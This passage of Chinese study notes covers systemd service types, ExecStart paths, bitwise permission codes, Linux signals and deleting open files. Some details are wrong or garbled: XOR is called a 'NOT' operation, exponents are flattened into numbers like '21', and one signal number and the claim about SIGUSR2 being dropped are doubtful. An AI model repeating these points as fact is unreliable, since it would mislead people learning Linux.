2.当客户端需要通过仅由该服务本身创建的IPC通道(而非由 systemd 创建的套接字或 D-bus 之类)连接到该服务的时候,simple 类型并不是最佳选择。在这种情况下, notify 或 dbus(该服务必须提供 D-Bus 接口) 才是最佳选择
3.notify 类型需要服务进程明确使用 sd_notify() 函数或类似的API, 否则,可以使用 forking 作为替代(它支持传统的UNIX服务启动协议)。
4.如果能够确保服务进程调用成功、服务进程自身不做或只做很少的初始化工作(且不大可能初始化失败), 那么 exec 将是最佳选择。
5.因为使用任何 simple 之外的类型都需要等待服务完成初始化,所以可能会减慢系统启动速度。 因此,应该尽可能避免使用 simple 之外的类型(除非必须)。
execStart只能绝对路径:
可以通过
/bin/bash -c '$$(which python) /etc/npu/npu_info_gen.py'
sh -c 'dmesg | tac'
位运算与linux权限:
1.Linux基于位运算的权限控制
读 写 执行 二进制 十进制
0 0 1 ==> 001 ==> 1
0 1 0 ==> 010 ==> 2
1 0 0 ==> 100 ==> 4
0 1 1 ==> 011 ==> 3
1 0 1 ==> 101 ==> 5
1 1 0 ==> 110 ==> 6
1 1 1 ==> 111 ==> 7
最大为7,超过7后比如8&6的二进制位数不同了,就没有可比性了,一般结果为0,但|一般结果是增加的
2. 或运算实现权限的添加
增加权限使用或(|)运算实现。
“读写”两种权限,权限码为6(110),其由权限码2(010)和4(100)进行或(|)运算后实现,即:6 = 2|4,也可以由6=2+4计算得出。
3. 与运算实现权限的判断
在需要进行用户权限判断时,可以使用与(&)运算判断用户是否据有某项权限。
根据与运算的计算规律,当运算结果为所要判断权限本身值时,我们可以认为用户具有这个权限。而当运算结果为0时,我们可以认为用户不具有这个权限。如果为较小值,则拥有判断最高权限的部分权限。
权限码6(110)和4(100)的与运算结果为4,即:4=6&4。
权限码6(110)和1(001)的与运算结果为0,即:0=6&1。
应用:
permissions = permissions & (~ace["permissions"])
判断当前用户的权限ace["permissions"]的相反值~,是否拥有将要判断的permissions权限的部分,如果拥有,证明当前用户的权限不够
4. 非运算实现权限的减少
位运算同样可以实现用户权限的减少,减少用户权限使用非(^)运算。
权限码7(111)和1(001)的非运算结果为6,即:6=7^1,也可以由6=7-1计算得出。
5. 位移与权限码
所使用的权限码,可以将前一个权限码``左位移一位得到下一个权限码,即:
权限码1(001),即:20
2=1<<1,即:将001左移1位为010,也即:由20变为21
4=2<<1,即:将010左移1位为100,也即:由21变为22
8=4<<1,即:将100左移1位为1000,也即:由22变为23
6.~运算符
权限取反
Linux信号基础:
信号的产生方式多种多样,它可以是内核自身产生的,比如出现硬件错误),内核需要通知某一进程;
也可以是其它进程产生的,发送给内核,再由内核传递给目标进程。
内核中针对每一个进程都有一个表存储相关信息(房间的信箱)。
当内核需要将信号传递给某个进程时,就在该进程相对应的表中的适当位置写入信号(塞入纸条),这样,就生成(generate)了信号。
当该进程执行系统调用时,在系统调用完成后退出内核时,都会顺便查看信箱里的信息。
如果有信号,进程会执行对应该信号的操作(signal action, 也叫做信号处理signal disposition),此时叫做执行(deliver)信号。
常见信号:
SIGINT 当键盘按下CTRL+C从shell中发出信号,信号被传递给shell中前台运行的进程,对应该信号的默认操作是中断 (INTERRUPT) 该进程。 2
SIGQUIT 当键盘按下CTRL+\从shell中发出信号,信号被传递给shell中前台运行的进程,对应该信号的默认操作是退出 (QUIT) 该进程。 3
SIGTSTP 当键盘按下CTRL+Z从shell中发出信号,信号被传递给shell中前台运行的进程,对应该信号的默认操作是暂停 (STOP) 该进程。 19
SIGCONT 用于通知暂停的进程继续。 18
SIGALRM 起到定时器的作用,通常是程序在一定的时间之后才生成该信号。 14
SIGTERM 进程终止(进程可捕获) -15
SIGKILL 强制杀死进程(进程不可捕获,直接报错) -9
SIGUSR1 用户信号, 进程可自定义用途,有信号到来时触发 kill -10
SIGUSR2 用户信号, 进程可自定义用途 kill -12
SIGXCPU CPU超时生成该信号
所有的这些信号都可以通过linux的kill -对应的数字来触发信号
多线程使用信号,前一个SIGUSR1信号还没处理完就来了SIGUSR2信号,就会丢弃SIGUSR2信号。
删除正在读写的文件:
Linux 是通过 link 的数量来控制文件删除,只有当一个文件不存在任何 link 的时候,这个文件才会被删除。
每个文件都有 2 个 link 计数器 —— i_count 和 i_nlink。i_count 的意义是当前使用者的数量,i_nlink 的意义是介质连接的数量;或者可以理解为 i_count 是内存引用计数器,i_nlink 是硬盘引用计数器。
再换句话说,当文件被某个进程引用时,i_count 就会增加;当创建文件的硬连接的时候,i_nlink 就会增加。
rm 操作只是将 i_nlink 置为 0 了;由于文件被进程引用的缘故,i_count 不为 0,所以系统没有真正删除这个文件。i_nlink 是文件删除的充分条件,而 i_count 才是文件删除的必要条件。